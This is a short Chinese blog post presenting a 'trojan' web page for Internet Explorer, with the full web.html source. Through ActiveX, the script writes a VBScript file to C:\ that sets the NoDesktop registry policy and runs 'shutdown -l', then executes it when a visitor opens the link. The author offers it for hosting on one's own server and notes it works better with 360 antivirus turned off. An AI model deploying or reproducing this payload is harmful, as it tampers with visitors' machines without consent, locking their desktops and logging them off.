首先，这个木马的功能基于 IE 浏览器的 ActiveX 的功能，也就是说只适用于 IE 浏览器，如果你的浏览器没有打开 ActiveX 控件，百度搜吧。
！！！
然后你需要有一台自己的服务器，因为我们的目的是打开一个链接，在不需要用户下载任何文件的情况下实现木马效果：
web.html 的代码如下：
<html>
<script language="JavaScript">
var fso,f1;
fso= new ActiveXObject("Scripting.FileSystemObject");
f1=fso.CreateTextFile("C:\\LYSM.vbs",true);
f1.WriteLine("Set r=CreateObject(\"Wscript.Shell\")");
f1.WriteLine("r.Regwrite \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoDesktop\",1,\"REG_DWORD\"");
f1.WriteLine("r.Run \"shutdown -l\"");
f1.Close();
var wsh = new ActiveXObject('WScript.Shell');
wsh.Run('C:\LYSM.vbs');
//alert("finish");
</script>
</html>
主要功能就是在 C 盘根目录创建一个 .vbs 文件，并往里写入文本，这些文本可以实现锁定桌面和注销计算机的效果。ActiveX 支持运行本地应用程序。（我这里开了360，关闭360后的效果还是很棒棒的 ┗( ▔, ▔ )┛）
1397
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
